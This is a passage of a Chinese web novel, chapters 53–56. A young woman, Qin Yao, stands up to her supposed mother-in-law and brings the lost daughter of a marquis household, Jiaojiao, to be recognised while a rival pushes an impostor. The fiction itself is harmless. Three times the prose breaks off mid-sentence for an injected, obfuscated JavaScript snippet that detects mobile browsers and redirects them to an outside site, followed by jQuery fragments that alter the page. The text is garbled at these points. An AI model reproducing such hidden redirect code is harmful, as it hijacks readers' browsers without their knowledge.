“你莫要诓骗我这老太婆!”她板起脸,道,“这俩丫鬟已经把你们俩的事全都告诉我了!” 秦瑶看了看雪香,她躲在后边直摆手。 不是雪香,那只能是莹秋了。 “这有什么好诓骗您的?”秦瑶笑着看向莹秋,“人都在,我们大可当面对峙。” 莹秋目光躲闪。 “莹秋,我待你不薄,你为何如此污蔑我与陈公子?”她质问,“你想做陈公子的妾室只管去做,与我何干?难不成污蔑了我,你就能做妾了?” “你胡说!”莹秋气红了脸,对陈母指天发誓,“夫人,我跟您说的句句属实!若有假话,叫我不得好死!” 陈母把她的手拉下:“傻丫头,我信你。” “谁知道你挑挑拣拣的,说了什么让人误会的话,被陈公子的母亲误会了去。”秦瑶道。 莹秋立马指着她鼻子道:“你敢说你没和公子共处一室?你敢说你们毫无关系?公子在众人面前吩咐我们尊你为夫人,你让那几个人出来说说,看是不是如此!那几个人被你藏哪儿了?” 不见其他婢女,莹秋探头朝屋里看去。 秦瑶素来知道,陈衡的母亲心思单纯了些,易受人挑拨,不然当初也不会被沈家占了嫁妆,赶出门去,还浑浑噩噩在娘家生活至今。 没被她几个兄弟拿她当筹码,给各家做继室联姻,已是运气极好了。 所以对于莹秋的挑拨,她还是尽量耐着性子解释清楚。 “夫人。”她又朝陈母行了礼,道,“我家是江城本地人,世代住在那儿。陈公子在江城,处境险恶,寸步难行,我与他只是假扮了一段时日夫妻,替他做些以他的身份不便出面之事。” 陈母闻言瞪大了双眼,若有所思。 她继续道:“后来我们逃亡路上,为避免一些麻烦,陈公子的确在众人面前就我的身份表态,可那是不得已而为之……” “想必这位莹秋姑娘没同您讲,那方县县令非要把女儿嫁给陈公子,才肯放我们走的事吧!” “还有这种事?”陈母惊讶道。 此刻她稍稍放了心,若是假的,一切好说。 如今衡儿也回了京,她得做主赶快说门亲事,从此后与这秦瑶再不来往才好。 53. 有人撑腰 莹秋见自己失了陈母信任,忙插嘴道:“夫人,公子对她绝非一般!纵然那些事都是假的,可公子心中对她如何,我是绝不会看错!” 这点倒是令人无法反驳。 毕竟他人心中如何想谁也不知,秦瑶也不能直接反驳她,说陈衡就是讨厌自己。 陈母见两人之间并不似莹秋说的那般,已对秦瑶转了态度。 就算她儿子真喜欢这个妇人,只要两人并未暗通款曲,她有的是手段让秦瑶离开。 她给自己身边的大丫鬟递了个眼色。 那丫鬟立刻讥讽道:“站这么久了,也不请我们夫人进去坐,这是哪门子的待客之道?” 秦瑶一愣,看来这夫人接下来要对自己说些“体己话”了。 她垂下眼眸,退到一侧:“是我失礼了,夫人请。” 陈母在众人的搀扶下,缓缓走进了内室。 这房子不大,里头家具摆设不多,却打理的整洁有序。 若在普通人家看来,已十分不错,可陈母是享受惯了的人,一进到屋中,只觉处处透着穷酸气。 “我儿就置办这样的宅子?”她不由抱怨。 陈衡在朝中有要职,俸禄不少,若置办自己的私宅,怎么说也得够气派。 可如今看着这所宅子,她不由得怀疑儿子,是不是早有养外室的念头了。 绿华和玉蕊本在里边做活,见贵客进来,忙起身去斟茶。 陈母坐下,幽幽道:“你若是在我儿这宅子借住几日,本夫人也不是那不通情理之人……只是接下来,你有何打算?” “我手里还有不少银钱,想必莹秋是知道的。”秦瑶抬了一下眼皮,看了眼莹秋,淡淡道,“这几日我已找了宅牙子,正寻看宅子。” 陈母眼皮跳了跳:“你要在京中置宅?你可知京中就算是再小的一间屋子,也不是你们这等妇人能买得起的!” 秦瑶笑了笑。 莹秋也不知她家底有多厚,见她此刻气定神闲,不由暗自震惊。 若她真能买得起宅子…… 她看了看陈母,这位并不像是能被金钱所动摇的人。 “若你能买得起……”陈母有些尴尬,“那自然是极好的,女儿家最要紧的就是名声,在别人这儿住久了,难免传出些风言风语……” 她将在巷子里听到的闲话细细描述了一遍。 待一番话过后,秦瑶总算是明白,他这个娘是如何蠢到能被沈家欺压了! 她目光已冷了下来,余光瞥见绿华端着茶水过来,直接朝她摆了摆手,让人退下。 这杯茶,陈母是不用喝了! “您不就是怕我住在这儿不走,缠着陈公子?”她挑明道,“也不用话里话外暗讽我为外室!您身后这位莹秋丫鬟,怕是已经跟您说过了吧?我与陈公子有婚书在!我就是住在这儿不走,也是理所当然!” 陈母眼前一黑,差点晕了过去。 她指着秦瑶道:“你、你不是说,那都是假的?对,婚书也一定是假!” “婚书在陈公子那儿,您大可回去问他!”秦瑶站起来,“送客!” “你怎能如此!你怎能如此啊!”陈母暴跳如雷,道,“亏我方才还信了你的鬼话!你们和离!必须和离!” 她光滑的脸上终于显现出两道纹路,也不再显得温柔和蔼,如同厉鬼般面目可憎起来。 秦瑶冷笑道:“若和离……我自然十分愿意,只可惜陈公子他……” “他那边自有我这个做母亲的去管教!”陈母咬牙切齿,“你们敢无媒苟合,伪造婚书,信不信我一纸诉状将你告到京兆府去……” 她嘴角扯出一抹冷笑,“听说你还有个女儿?若你入狱,就没想过你那女儿会如何?” “你敢动她试试!” 秦瑶着实没想到,陈母竟蠢到这个地步,拿个孩子来威胁自己,狠狠踩中了她的底线! 她眸中寒光四现,扫过陈母与莹秋的脸:“你们听好了,左娇娇姓左,是侯府丢失多年的女儿!此次我入京正是要为她寻亲,你们若打她的主意,别怪侯府到时不会放过你们!” 莹秋脸白了一下。 她从前奇怪娇娇的姓氏,只当这是秦瑶前任夫君的姓。 没想到却是侯府的…… “不对!”想到这儿,她叫嚷道,“不可能!你自出生就在江城,怎么和侯府扯上关系了?娇娇的姓氏,不就是她的生父,你那前任夫君的姓?难不成你还要说,侯府左将军正是你前任夫君?” “这就是了!”陈母也道,“左家丢过女儿?我在京中这么多年,怎未曾听说过?” 此事又不是什么辛秘,况且凭左家的性子,若女儿丢了,定大张旗鼓的找寻,怎么自己都没听说过。 秦瑶讥笑道:“莹秋难道不曾觉得,我与娇娇的年纪似乎有些对不上?” “你……”莹秋在心中飞快回想着。 秦瑶正值花信年华,而娇娇也已近豆蔻之年。 若照此算,秦瑶差不多十岁就要生下女儿? 她怔了。 “我还从未嫁过人。”秦瑶看着眼前两个蠢人,“左家小姐是我碰巧捡到的,那时她已四五岁的年纪,记得自己姓甚名谁,试问全天下姓左的有几家?” 陈母当然知道,只有那一家姓左。 可她却未听说此事,为何? 秦瑶又道:“如此推算,左家丢失女儿的时候,夫人正随夫君外地上任,后又在江城待了那么多年,京中发生此事您不知,不也合乎常理?” 陈母半信半疑。 她得去左家打听清楚,万不能凭着秦瑶说,她就信。 如此一闹,她对眼前之人更加厌恶。 她惯喜欢那些低眉顺眼,性子温和听话之人,就算秦瑶未嫁过人,也未曾生儿育女,凭这得理不饶人的样子,她也绝不会让此人给自己做儿媳! “此事算我错怪了你。”陈母语气稍软,“但你们伪造了婚书,行大逆不道之事,是无论如何都要和离的!” 被恶心了这么一遭,秦瑶反倒不急着搬走了。 至于和离不和离,已不重要。 就算和离,她也要在这宅子里住上个一年半载的! 她气定神闲起来:“我与陈公子的婚事的确算是不合规矩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14106051|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若不尽快和离……以后我觅得如意郎君,被夫家知道此事,也是陈公子误了我,有损我的清誉……还烦请夫人早日劝说公子,速将此事办妥!” 一席话下来,陈母面色僵硬。 她以为这位姑娘要赖上陈家,却未曾想到她如此急切,还怕自己儿子误了她的大事! “别以为我看不透你那点小心思。”她冲秦瑶翻了个白眼,“想以退为进,嘴倒是硬得很!” “那倒是。”秦瑶接着道,“和离归和离,我突然发现这宅子风水甚好,住在这儿让人心旷神怡,所以我暂时就不搬走了。” 她突然反悔,呛得陈母一口气憋在心口,差点喘不过气。 “你要住多久?”她声音发抖。 秦瑶远远望见门外天空,云层绵延几里远,是个好天气。 她不禁伸了个懒腰,道:“说不准吧,也许一年?也许十年?陈公子说了,我想在这儿住多久,都成。” “行!”陈母瞪着双眼,仿佛要把人生吞,“你且等着,我让衡儿赶你走!” “不过一介村妇,也敢在我这儿撒野,好好抬头看看这是哪儿?这是京城!轮得到你在此撒野!” 话音刚落,门外突然有人高声叫喊:“可有人在?” 大门上的铜环被人拍得震天响。 又是谁? 秦瑶皱了皱眉头,还未来得及交代绿华玉蕊,两人已眼疾手快,把门给开了。 所幸来人并不是什么坏人。 那人一身小厮打扮,礼貌作揖:“请问秦瑶秦姑娘是否住这儿?” 秦瑶忙抬起脚,疾步向外走去:“正是我。” 那小厮一笑,从怀中掏出一封信,信后还附了张邀帖。 “小的是柳相府上的,托我们小姐——世子妃来此送信。”他将信恭敬呈给秦瑶。 那信倒是平平无奇,只是后边附的邀帖,大红色纸上贴了金箔,闪着金光,看上去别有一番华贵。 “谁?世子妃?”陈母也跟随出来,见那金光闪闪的邀帖,心中“咯噔”一下。 她还与世子妃有交情? 小厮紧接着又道:“世子妃让小的顺便告诉姑娘,她和世子已平安回来,一路上受了些惊吓,世子特准她回相府修养些时日,所以便想着请姑娘去一趟,陪她聊天解闷。” 秦瑶收下请帖,道:“烦请小哥回去回了世子妃,我定准时赴约。” “是。” 待那小厮一走,陈母一把夺过邀帖,打开来将左下角的印章瞧了又瞧。 这印章的确出自世子妃,柳相那一手刻字的手艺,谁又不知? 她难以置信的抬头:“你与世子妃有何交情?” 若说交情……秦瑶心里直摇头,她挟持过世子妃,自然谈不上什么交情。 不过她们也算一同逃亡过。 “世子妃与我……”她斟酌了半天,才道,“共患难,一同死里逃生。” 陈母呆呆举着邀帖,好久未动。 且不说左家,若真如秦瑶所说,回头她到世子妃那儿寻求庇护,这婚事…… 能不能和离还另说了! 54. 深夜来访 送走了陈母这尊大佛,所有人都长吁了一口气。 想她方才见到世子妃送来的邀帖,惊疑不定,又气又妒的样子,秦瑶暗爽了一把。 京中之人个个势力,看人眼高于顶,这话果真不假。 入夜。 陈衡是翻墙进来的。 夜深了,他在门外拍了半刻门环,不见有人来开门,还引来邻里在院子叫骂他扰人清梦。 得知母亲白日里来过,他马不停蹄过来,却得到此等待遇,不由气闷。 后院静悄悄的,人都睡了,只有正屋还隐隐透着昏暗烛光。 秦瑶向来不习惯有人侍候,又借住他人宅子里,那三位婢女又是陈家的人,所以她只当她们是姐妹,不让她们插手伺候自己。 她正要睡下,却见一人影从窗外一闪而过,再看时人已在屋内。 “原来是陈公子深夜来访,不知有何贵干?”被惊吓到,她没好气的问。 “听闻我母亲来过,她——”陈衡欲言又止,往常不带感情的声音中透着一丝急切。 看他小心翼翼的样子,秦瑶在屋子正中间的圆桌前坐下,请他也坐。 明明这是自己的宅子,陈衡皱眉,此刻仿佛她是主,他是客。 秦瑶将桌上杯子倒扣,摆明了不给他倒茶:“陈公子来得也算正巧,我原也打算找你。” “是我该代母亲向你道歉。”他道。 “今日你母亲说咱们是无媒苟合……” “她是被我气昏了头,才说出此混账话,与你无关。”陈衡打断她。 秦瑶摆了摆手,道:“你娘说得对,反正这夫妻也是假扮的,我们便就此分开吧!” “分开?如何算分开?你离了这宅子另寻他处?从此不相往来?”他语气中带着讥讽。 “不就是有一纸婚书在。”秦瑶挑眉,“我知那婚书已算官府备案,你我只好再写份和离书,正式和离,也省得往后有人再拿此事说事!” 陈衡哑然。 “怎么,不舍得我?”秦瑶也是被他娘气着了,见了他也难有好脸色,看他半天不回应,不由嘲讽。 陈衡道:“我近日忙,着实没空去想这些……可否往后放放?东宫那边正在安排你入宫面圣,太子已递了奏折,把江城之事细细呈上,等此事了了,你我也算有始有终。” 他不得不承认,他虽事忙,却从未想过真的要与她和离。 不过假的始终是假的,今日母亲能说他们无媒苟合,明日其他人也能如此说。 和离,的确是最好的办法了。 “成。”秦瑶不再过多纠缠,指了指窗外,“既已说定,还请公子早日回去歇息,我要睡了。” 陈衡从怀中摸出一封拜帖,放在桌上:“我知你挂怀左家的事,提早以陈府名义写了拜帖,侯府门太高,若没这帖子,只凭你们怕是进不去。” 秦瑶心头一跳,方才感情用事,竟没想起正事。 她拿过帖子,满含歉意,道:“谢公子了。” 陈衡却是微点了下头,一转眼已跳出窗外,动作利落干脆,还帮她把窗杆取下,关紧了窗子。 走得倒快。 秦瑶无意识的撇了撇嘴,丝毫没发现自己心底那份失落。 这么久以来,她一直在提醒自己年过半百,不该有的心思必须收一收。 可她忘了,她也是人,是人就有感情。 * 京城的夏天,比江城来的晚一些。 这天儿早上寒气逼人,冻得人直打哆嗦,到了晌午太阳一出来,又热的冒汗。 照规矩,拜访他人还是上午为好。 有了陈府的拜帖,秦瑶欣喜,一大早把娇娇从床上叫起来,又梳妆打扮了一番。 人靠衣裳马靠鞍,她们看上去华贵些,也省得那些下人瞧不起。 想起陈母昨日那架势,秦瑶还专门又去租了辆马车,往玉带巷去。 这一番折腾,已近中午,待马车稳稳停在侯府门口,两人已热得直擦汗。 见有马车来,侯府门口的守卫这回总算恭敬了一回,他们将大门打开一条缝,叫门房出来迎接客人。 门房也是个老仆,头发半白,腰杆子却直挺,十分精神。 他早早下了台阶,站在马车前等,见车里下来了两个生面孔,不由怔了怔,道:“不知客人是否认错门了?这里是左将军、左侯爷府邸。” 秦瑶忙递过拜帖:“老人家,我们是陈家的人,烦请您通报主人。” 门房拿过拜帖看了一眼,又细细打量起两人。 等他把目光移到娇娇脸上时,不由露出了一抹疑惑,这个小丫头看上去竟有些面熟…… 可他一时想不起来,只当是曾来过府中的客人,作揖道:“请两位贵客进府稍等,我这就派人去告知——请问这位娘子,是要拜访府中哪位?” 秦娘不假思索道:“自然是要拜访老太君。” 门房并不意外,伸手道:“贵客先请。” 原来只要有相识人家的拜帖,是可以先进去等的。 秦瑶拉着娇娇,从那些守卫面前经过。 “咦,这不是前几日那娘俩?”一守卫发出疑问。 “等等。”另一守卫拦住了去路,见两人今日十分气派,又有些支支吾吾,“你们、你们怎么又来了?” “退下!”门房瞪了他一眼,呵斥道,“这是我们府中贵客!” 那守卫忙退下站好,脸色已是极为难看,若主人知道他为难贵客,怕是不好。 秦瑶抬脚迈过那高高的门槛,进了府内。 许是左家不喜养花草,一进大门,映入眼帘的是一大片空地,坦坦荡荡,直通正厅。 这也算是延续了武将的行事风格,整座前院里连个惯常人家的影壁都没有,一目了然。 门房见秦瑶面露好奇,感叹道:“这原是我家将军的练武场,可惜他长久在外,已多年未曾归家……” 他叫小厮拿帖子到老太君处禀告,又叫了个丫鬟,带两人到正厅旁的耳室稍作休息。 “娘,方才他说的将军,就是我爹?”娇娇问。 秦瑶忙制止道:“以后你归了左家,就别再叫我娘了,该改口了。” “那叫什么?”她问。 “就叫养娘?”秦瑶觉得不好,又摇头,道,“或者叫干娘!” “干娘!”娇娇脆生生的唤了一声。 “哎!”秦瑶应了,两人笑作一团。 正说着,她看到门外远远一行人过来,忙拉娇娇一同站起。 两人还是有些紧张的。 不过…… 随着一行人越走越近,秦瑶的脸色越来越沉。 她捏紧了拳头,死死盯着那最前头的人,她此刻一身锦罗绸缎,众星捧月,俨然已是侯府的座上宾! “娘… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120759|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”娇娇紧皱眉头,“为何大姐也在?” 来人正是秦馠,她身后还跟着一些女宾客,陈母也在其中…… “让我好好瞧瞧,是谁递的拜帖,敢冒充我们陈家人?”陈母率先开口。 她今日本是来探听左家当初丢了女儿之事,正碰上这位秦馠姑娘,说左家丢失多年的女儿此刻正在江城。 原来竟真有此事。 可惜,眼前这丫头是个冒牌货。 左家女儿刚丢的那几年,来认亲的骗子可不少,可惜老太君慧眼如炬,愣是没一个骗子能逃过她的双眼。 这位秦馠姑娘为何独被老太君留在府中,以贵客身份款待? 正是她说出了那孩子种种特征,与左家女儿全然相同。 最重要的是,她说自己与那小姑娘自幼相依为命,见小姑娘有块白玉,状似满月,却又镂空了一些,形成图案奇特。 老太君便派人前往江城接人去了。 此刻秦瑶又来认亲,自然被当成了骗子。 “这不是我在江城的旧相识吗?”秦馠在她面前站定,笑道。 秦瑶道:“我们最后见面时,你说的那些话,我还当你是要来京城做绣娘,在京城开绣坊……没想到你还是要走歪门邪道!” “谁说绣娘非得在那些吃人的绣坊绣庄做?”秦馠得意笑道,“我的手艺,给侯府做绣娘是绰绰有余!” “你愿在此做绣娘,我自然不拦你,可你也莫要阻拦我们!”她道。 “我可没阻拦你,是左家不愿见你们。” “为何?”秦瑶不解。 秦馠道:“对了,忘了告诉你,我帮左家找到了丢失多年的小姐,老太君感谢我,特意留我在侯府做绣娘呢!” “你?”秦瑶把娇娇挡在身后,防她上来抢人。 却不想她冷笑:“不用紧张,左家小姐还在江城呢,侯府前几日才派人去接,怕是来回得一个多月才能回来。” 原来她如此胆大,竟找了个冒牌货! “你就不怕被人戳穿?左家娇娇在此,你拿江城的一个冒牌货,真当侯府的老太君看不出来?” 过段时日那冒牌货被带回来,秦馠就不怕届时被扫地出门? 得罪了侯府,今后她在京城也将寸步难行。 “你怎么就确定,我找回的不是真正的左娇娇?”她目光在娇娇身上扫来扫去。 这几日在老太君身边,秦馠已打探到娇娇丢失多年,左家人早记不清她样貌,唯一的凭证就是那块玉。 她见过那块玉不止一次,早将形状深深记在脑海里。 造一块假的也未尝不可。 只要原料一样,刻上相同图案,谁还能看出是真是假? “我劝你赶紧带她走!”秦馠收起笑容,目中闪现狠厉,“不然侯府报了官,抓了你们这两个骗子!” 陈母也假意劝道:“此次你冒用我们陈府之名前来拜访,我看在我儿的面子上,饶你一次,就不追究了!还不快走?” 秦瑶拉起娇娇的手,紧紧捏住:“侯府的人呢?这就是侯府待客之道?叫这么一个外人,来赶递了拜帖的客人走?谁家也没这样的道理!今日若见不着老太君,休想赶我走!” “你这种骗子货色,也配让主人家接待?”人群中有人说道。 “带个小丫头就敢说是左家丢的小姐,有何证据?那我们岂不是也能随便带个丫头上门?” 55. 侯府认亲 娇娇到底还是沉不住气,从脖领处掏出那块玉。 “我有证据!”她高喊,将玉高高举起。 人群刹那间安静了下来。 只因这是一块成色极好的玉。 她们生在非富即贵的人家,自小不知见过多少好东西,各种玉石也自然不在话下。 所以一瞧见这块玉,众人便知道它价值不菲。 “这是……” “是阴山白玉!” “阴山白玉,是临国独有,当年左家祖先曾带兵将我国疆土扩至阴山……随后遍寻阴山白玉,好不容易才寻得两块,一块献予皇室,一块则打磨成左家徽章,传家至今。” 众人看娇娇的目光皆变了变。 难道她真的是左家女儿? “你拿块白玉就想诓骗大家?”秦馠强装镇定,“这块玉是假的,我那江城妹子手里的才是真的!” 她还以为这玉只是普通白玉,玉料上好而已,所以花大价钱买了最贵的白玉料子,拿去让工匠把形状打磨雕刻成同样的。 没想到这玉大有来头。 但此刻她也只能硬碰运气了,赌左家人看不出普通白玉和阴山白玉的区别。 毕竟她自己看了这么多年,也区分不了。 “是啊,这玉只是乍一看有些像,我们又不是行家,说不定这就是块上好白玉呢?”人群窃窃私语。 “行家也不一定能分辨,毕竟只有两块,一块还在宫里!” “这玉的真假,老太君一看便知!”秦瑶坚定道,“就是她左家的小姐,老太君也一见便知!” 娇娇也从她身后走了出来,大方将容貌露出给众人看。 见两人如此胸有成竹,一些人动摇了。 “这小丫头看上去是与左家人有些像。” “那双眼睛好像与老太君有些神似……” 秦馠突然转身,朝众人道:“大家别被她们骗了!骗子常用这种手法,装出十分镇定的样子,引大家信以为真!我与左家小姐相处多年,她什么样子我最清楚!” “那你为何不敢让我去见左家的人?”娇娇大声质问,“既然你这么肯定我不是,为何不敢让我们见上一面?” “正是如此。”秦瑶也道,“莫非你心虚,怕老太君一眼认出自己的孙女?” 人群中议论声更大了。 秦馠一时慌神,又忙着找理由:“反正今日是见不了!” 她突然灵机一动,“要见也得等我那位左家真正的小姐回来,共同让左家辨认,到时是真是假一目了然!” 看来今日有她阻拦,人是见不到了,秦瑶暗想。 她向来不是硬碰硬的人,可下次却不知秦馠又将出些什么招数来对付她们。 既然她敢说出让两人共同被辨认,便是已做了万全准备。 秦瑶四处张望,想找个侯府的人到老太君那儿试着求一求,看能否见上面。 见她如此,秦馠立即挑衅道:“怎么,你不敢?” “我就说,她们一定是假的!”陈母帮腔,道,“有些人惯会攀高枝,一会儿要死活赖在我家做陈家妇,一会儿又带着小的来做左家女。” “陈家妇?”有人立刻问道,“这是怎么回事?” 陈衡的亲事所有人都盯着,一有风吹草动,大家十分关心。 “无事。”陈母忽觉自己多嘴,差点毁了儿子的好姻缘,忙解释道,“我儿原可怜她们母女俩刚入京城,人不生地不熟的,无处可去,便将家里多余的宅子借给她暂住几天,谁知她竟不想走了!” “原来如此,陈公子果真君子之风。”人们称赞。 “看来此女子惯行骗术……” “是啊,断不能被她骗了去!” 在众人的义愤填膺中,秦馠道:“还不快走?” “好!”秦瑶应下,“过几日就过几日,到时让左家一同辨认,诸位都听到了,烦请到时做个见证!切不得反悔!” 殊不知秦馠此刻也是强忍着心中慌乱,只想让她速速离去。 而这一切,都被远处的门房老头听了个一清二楚。 他原也是跟着老太爷四处征战之人,不光身体强健,连眼力与耳力都非比寻常。 此刻他看着那小女孩,已目露惊喜。 难怪方才他总觉得这女孩十分熟悉! 细看之下他才发觉,这女孩长得与已逝的老太爷简直是一个模子里刻出来的! 只因她留了女童发髻,眉眼又未长开,所以一时没往那处想! 不用看玉,他便知道这的确是左家的种! 门房压下心中激动,唤来跑腿小厮:“方才你到老太君处,老太君如何?可想见人?” 老太君也老了,他不敢让她没有任何准备,就与这孙女相见,怕人一激动伤身。 小厮如实禀告:“老太君睡下了,所以才让那新来的秦馠姑娘替她处理一下。” 门房想了想,觉得那几个小主人比这小女孩大不了几岁,恐来了也无济于事,不由叹了口气。 “你先在此替我值守。”他吩咐小厮,“我有要事去找老太君,你在此时刻关注那边动静,若出了什么事速来找我。” 交代完毕,他步履匆匆去了后院。 这府中家眷们住的后院,他原是不该去的。 可他这次冒着大不韪,也要前去亲自告知老太君。 后院的丫鬟婆子见门房过来,都吃了一惊,上前问道:“出了何事?你怎么来了?” 门房也无空理会她们,径直走向老太君的院落。 此刻院子里静悄悄的,一屋子丫鬟服侍老太君睡下后,都噤了声,见门房急匆匆来忙迎了上来。 “门口出事了?”管事丫鬟问。 门房急得擦了擦额上汗水:“我有要事求见老太君!” 丫鬟皱眉:“那得劳老丈在此等一会儿了,老太君夜里睡不着,全指望着白天这眯一会儿呢!出了何事,可先跟我说说?待会儿我好进去禀告了老太君。” “这……”门房略犹豫了一下,此事事关重大,还是由他亲自禀告为好,“虽十分重大,却不是什么急事,我在此等得,若老太君醒了,还请马上求见。” 那丫鬟点头应下,不敢松懈,进屋守在床边。 老太君并未睡熟,半梦半醒之间,忽回到了当年,老太爷过寿,府里提前一个月便请了戏班子,又请伶人数名,一时之间搭台的、唱戏的、耍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130135|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂技的,好不热闹。 娇娇就是在这当口,被贼人带走的。 老太爷一怒之下把这些人全抓了,严刑拷打之下才知有几个漏网之鱼早已逃出府,至今也说不上是不是仇家买通,故意把孩子带走的。 可老太爷在府里动了私刑,却被人捅到了朝堂。 于是这年老太爷的寿宴还未过,他悲怒交加之中喜事变成了丧事…… 那满府的红绸布忽地变成白色,将老太君包围在中间。 “祖母——”娇娇稚嫩的叫声从远处飘来! 她努力睁大眼睛,在一片白色中茫然找寻着。 四周哀乐响起,她突觉头疼欲裂,猛地睁开眼睛! “出什么事了?”她忍住心中不安,问道,“方才外头是不是有人说话?” 往日里若有此梦中惊醒的情形,丫鬟们总是劝她再睡一会儿。 而此刻丫鬟也不敢再劝,将她扶起:“门房老丈亲自求见,估摸着是出了大事。” “还不快让人进来!”她就知道,这梦做得蹊跷! 那老丈被人引了进来,他身子有些佝偻,头发半百,脸上皱纹不减,一双眸子却清亮无比。 毕竟是跟在老太爷身边的人,老太君与他也相当熟络,不等他行礼便开口道:“你何时变得这般迂腐?在外头等那大半日,也不让人叫醒我!若真出了急事大事耽误了,看你怎么交代!” “老太君且宽心。”他欲言又止,暗暗观察着老太君的神情,想着该如何说。 老太君却眯起了眼睛,沉沉道:“是不是小姐……有消息了?” 门房猛地抬头! 亲缘之间竟真是会有感应的! “好消息,还是……坏消息?”她暗沉着脸,想起适才那个梦,心里更没底。 门房斟酌了片刻,才道:“说起来您千万别激动,小人见过小姐……” “什么时候的事?”老太君双手按住胸口。 “就这两日。”见她激动,门房反而不敢说实话,“小姐如今就在城中,老太君若想寻,小人很快便能寻到。” 一边丫鬟提醒道:“那位秦馠姑娘不是说小姐在江城?我们的人也已去接了,再等上半月,人就回来了。” “你确定,你见到的人是小姐?”老太君也想到此,毕竟当初侯府丢了小孙女,闹得沸沸扬扬,许多人冒充上门认亲。 她顿时又将提上来的心放下。 门房道:“小人虽不敢十分肯定,可见那姑娘的第一眼,却是让小人想起了旧主……” “那就带来!让我见见!”老太君道。 门房见她心神已稳住,道:“人其实就在前厅,只是那位秦姑娘说她是骗子,正要将人赶走。” 老太君忙吩咐身边丫鬟:“你快去使人,叫个腿长的,跑得快的,把人领过来!” 不一会儿,人没带来,倒是秦馠与陈母等几位客人回来了。 门房心下了然,看来那两人已经被赶走了。 不过既然人在京城,想找到也是件十分容易的事。 “老太君。”秦馠进门笑盈盈的做了礼,转头见个老头在屋里恭敬站着,不由皱眉,何时这等下人也能来见老太君了? 56. 真相大白 “人呢?”老太君目光扫过众人,见没有陌生人的身影,不由问道。 丫鬟回话:“回老太君,遣的人到的时候,人已经走了。” 老太君低头,不免失望。 自从大郎去世后,她那长房儿媳便隐了身份,整日吃斋念佛,府中一应事务她是一概不过问,还将三位姐儿也全部推给她来教养。 二房自从娇娇丢了,二儿媳伤心过度没几年便撒手人寰,二郎更是从此去往边关,连唯一的长子也不管了,扔在府里任他自生自灭。 这府里一老四小,竟是连个接待客人的女主人也没有,不然今日哪轮得到这位秦馠姑娘越俎代庖! “你都不把人领过来给我看看,就撵走了?”她怪罪道。 秦馠忙低头回话:“老太君明辨!那人是我同乡,自然也与小姐相熟,她定是听说了此事后,想来骗侯府一笔,却没想到我在这儿!” 老太君又抬头看了看门房:“你如何看?” 门房摇头:“老太君,我只知那小姑娘的确有左家人的影子,若真要辨别真假,还是看信物为准,正巧,她也有那块玉。” 秦馠瞥了他一眼,难怪老太君什么都知道,原来是有人来告状。 “这有什么稀奇的?”她快言快语,“那人既是我同乡,也见过小姐的玉,毕竟那块玉稀奇,在我们那儿普通人家可见不着。她做戏一定做全套,仿了块玉来冒认,也是正常。” “千说万说,不如老太君您亲自见上一面,我这就去把人追回来!”门房道。 “不用了!”秦馠忙道,“我们已经约定,待真正的小姐回来,将两人凑在一起给老太君辨别!” 陈母也在一旁帮腔:“老太君有所不知,那来人不是什么好人,她原就骗得我儿差点养了她,如今又带个女儿来侯府行骗……老太君,防人之心不可无啊!” 老太君一双眼睛亮了亮,又暗了下去。 这陈氏已嫁为沈家妇,却在陈家白吃白喝了这么多年,想来也是个脑子不清楚的,她的话不可尽信。 况且自己是一刻也等不了了,急着想见孙女。 “老太君,依小人之见,还是先将两人追回来,您且先见上一见。”门房适时提议,“就算分辨不出什么,也可了却这心头之疑。” “正是正是。”老太君身边的大丫鬟也点头,“不然老太君日思夜想的,肯定又要睡不着了!” 老太君挥了挥手:“去吧!” 门房俯身退了出去。 这府中下人们个个察言观色,早看出老太君的意思,秦馠也不是看不出,只是怕老太君真的见到娇娇,自己的谎言不攻而破。 她捏紧裙摆,坐立不安。 * 秦瑶坐着马车没走远,被人叫停。 她掀开车帘,见是一个老头带着几个人将自己截停,先是怔了怔,后又想起这正是刚才见过的侯府门房老丈。 “请问老丈何事?”她问。 门房微微喘气,道:“小娘子留步,老太君答应、答应见你们了!” 秦瑶眼中闪过震惊,与娇娇对视了一眼。 她们当然不会傻到认为秦馠说情,老太君才会答应见自己。 为防这中间有什么阴谋,秦瑶又问:“敢问老丈,老太君为何又突然愿意见了?” 门房并未将功劳揽到自己身上,只说:“你们在前院的争吵,被后院听了去,有人跟老太君讲了,她便命我前来追寻你们。” “原来如此。”秦瑶放下心,同娇娇相视一笑,“太好了,看来我们娇娇是有些运气在身的。” 两人跟着侯府的人又折返回去。 此刻老太君早已按耐不住,收拾了一番,亲自前往正厅接待。 